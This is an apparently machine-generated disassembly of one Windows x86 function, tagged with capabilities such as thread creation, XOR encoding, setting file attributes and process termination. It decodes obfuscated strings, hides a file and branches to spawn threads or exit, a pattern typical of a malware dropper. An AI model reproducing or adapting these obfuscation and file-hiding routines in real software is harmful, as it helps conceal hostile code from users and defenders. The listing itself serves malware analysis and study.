Function at 0x434139
Capabilities:
Create thread
Encode data using xor
Set file attributes
Terminate process

Disassembly:
push 0x18c
mov eax, 0x580650
call fcn.0055ddbc
mov eax, dword [0x696760]
lea ecx, [ebp - 0x34]
push ecx
push 0
push eax
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x4344ee
cmp dword [0x69682c], 1
jne 0x434268
mov dword [ebp - 0x38], 0x58e78c
mov ebx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x38]
add edi, 0x14
cmp byte [ebx + 0x13], al
je 0x4341c5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, eax
xor eax, eax
mov dword [ebp - 0x38], eax
pop ecx
test esi, esi
je 0x4341bc
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, dword [ebx + 0xf]
jb 0x4341a1
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x198]
call fcn.0042443d
and dword [ebp - 4], 0
mov dword [ebp - 0x38], 0x591c60
mov ebx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x38]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x43422f
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, eax
xor eax, eax
mov dword [ebp - 0x38], eax
pop ecx
test esi, esi
je 0x434226
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, dword [ebx + 0xf]
jb 0x43420b
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0x198]
push edi
push eax
call fcn.0042141f
push dword [ebp - 0x3c]
lea eax, [ebp - 0x198]
push eax
call fcn.0042141f
add esp, 0x10
lea ecx, [ebp - 0x198]
call fcn.00424a62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x198]
call fcn.00424592
cmp dword [0x69683c], 1
jne 0x43441b
lea eax, [ebp - 0x48]
push eax
call fcn.0056300a
lea eax, [ebp - 0x48]
push eax
call fcn.00562d6b
pop ecx
pop ecx
push 1
push 0x40
push 8
push 0x58dacc
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x40], eax
call fcn.0042443d
mov dword [ebp - 0x38], str._rwBmWjj
mov ebx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x38]
add edi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x4342fd
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, eax
xor eax, eax
mov dword [ebp - 0x38], eax
pop ecx
test esi, esi
je 0x4342f4
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, dword [ebx + 0xf]
jb 0x4342d9
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0xf0]
push edi
push eax
call fcn.0042141f
push dword [ebp - 0x40]
call fcn.00562b5e
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.0042141f
mov dword [ebp - 0x38], 0x591c94
add esp, 0x14
mov ebx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x38]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x434376
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, eax
xor eax, eax
mov dword [ebp - 0x38], eax
pop ecx
test esi, esi
je 0x43436d
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, dword [ebx + 0xf]
jb 0x434352
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0xf0]
push edi
push eax
call fcn.0042141f
push dword [ebp - 0x3c]
lea eax, [ebp - 0xf0]
push eax
call fcn.0042141f
mov dword [ebp - 0x38], 0x58e820
add esp, 0x10
mov ebx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x38]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x4343e9
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, eax
xor eax, eax
mov dword [ebp - 0x38], eax
pop ecx
test esi, esi
je 0x4343e0
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, dword [ebx + 0xf]
jb 0x4343c5
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0xf0]
push edi
push eax
call fcn.0042141f
pop ecx
pop ecx
lea ecx, [ebp - 0xf0]
call fcn.00424a62
push 2
push 0x58dacc
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xf0]
call fcn.00424592
mov eax, dword [0x696830]
cmp eax, 1
jne 0x434449
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x433f04
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x43445a
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x433fe4
jmp 0x43442f
cmp eax, 3
jne 0x43446b
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x42ddfe
jmp 0x43442f
cmp eax, 4
jne 0x4344e7
xor eax, eax
push eax
push eax
push eax
push 0x426bb1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x38], 0x591cc8
mov ebx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x38]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x4344d6
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, eax
xor eax, eax
mov dword [ebp - 0x38], eax
pop ecx
test esi, esi
je 0x4344cd
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, dword [ebx + 0xf]
jb 0x4344b2
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
push 0x200010
push edi
push dword [ebp - 0x3c]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
jmp 0x434443
call fcn.0055dd7a
ret